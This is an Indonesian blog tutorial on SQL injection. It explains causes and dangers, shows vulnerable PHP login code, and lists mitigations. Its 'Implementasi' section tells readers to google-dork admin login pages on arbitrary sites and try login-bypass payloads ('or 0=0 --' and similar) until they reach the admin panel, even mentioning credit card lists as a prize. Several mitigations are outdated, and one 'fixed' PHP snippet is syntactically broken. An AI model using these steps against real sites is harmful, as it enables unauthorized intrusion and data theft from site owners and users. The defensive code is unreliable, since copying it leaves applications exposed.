SQLI: Penyebab dan Akibat SQL Injection


Apa yang terbesit dalam otak kalian saat mendengar kata SQL Injection? Aksi Cracking? Menyusupkan Celah Website? Atau Hacker?
SQL Injection adalah sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi.

Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan.

Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain.

gambar: Wikipedia

Pengertian SQL Injection

  1. SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
  2. SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Penyebab adanya SQL Injection

  • Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus — yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
  • Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.

Apa Bug SQL Injection berbahaya ?

  1. Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
  2. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
  3. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.
  4. Saat si hacker berhasil upload shell kedalam web, si hacker akan bisa melakukan apa saja dengan fasilitas yg dimiliki shellnya dan otak nya

Alat untuk melakukan SQL Injection ?

1. Chrome / Browser
2. PC yang terhubung internet
3. Program atau software seperti softice
4. Kesabaran

Contoh sintaks SQL Injection :


Contoh Syntax SQL dalam PHP

1. $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }

2. Kemudian isikan pada kolom password dengan string ’ or ’’ = ’

3. Dan hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }

4. Kemudian kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Contoh Syntax lain :

1. Sintaks SQL string ‘– setelah nama username
2. Query database
3. SQL Injection melalui URL

Pentest untuk SQL Injection :

1. Merubah script php
2. Menggunakan MySQL_escape_string
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php

Contoh script php semula :
$query = “select id,name,email,password,type,block from user ” .
“where email = ‘$Email’ and password = ‘$Password'”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “\n”;
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan untuk seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut :

Perubahan script diatas menjadi:
$query = “select id,name,email,password,type,block from user”.
“where email = ‘$Email'”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));

2. Menggunakan MySQL_escape_string

Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :

3. Pemfilteran karakter ‘ dengan memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php
Contoh :

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection

1. Masuk ke google atau browse yg lain
2. Masukkan salah satu keyword berikut :
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}

3. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name dan password).

4. Masukkan kode berikut :

User name : ` or `a’=’a
Password : ` or `a’=’a (termasuk tanda petiknya)

5. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.

6. Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.

7. Banyak variasi kode yang mungkin, antara lain :

User name : admin
Password : ` or `a’=’a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x

Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara mengatasi SQL INJECTION :

  1. Batasi panjang input box (jika memungkinkan), dengan
    cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
  2. Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
  3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
  4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
  5. Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.

Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil. Tetapi jangan jadikan Seni Hacking sebagai kejahatan karna pada dasarnya Hacking itu bukan kejahatan, tergantung bagaimana kita membawa/menggunakannya.

Post a Comment

Previous Post Next Post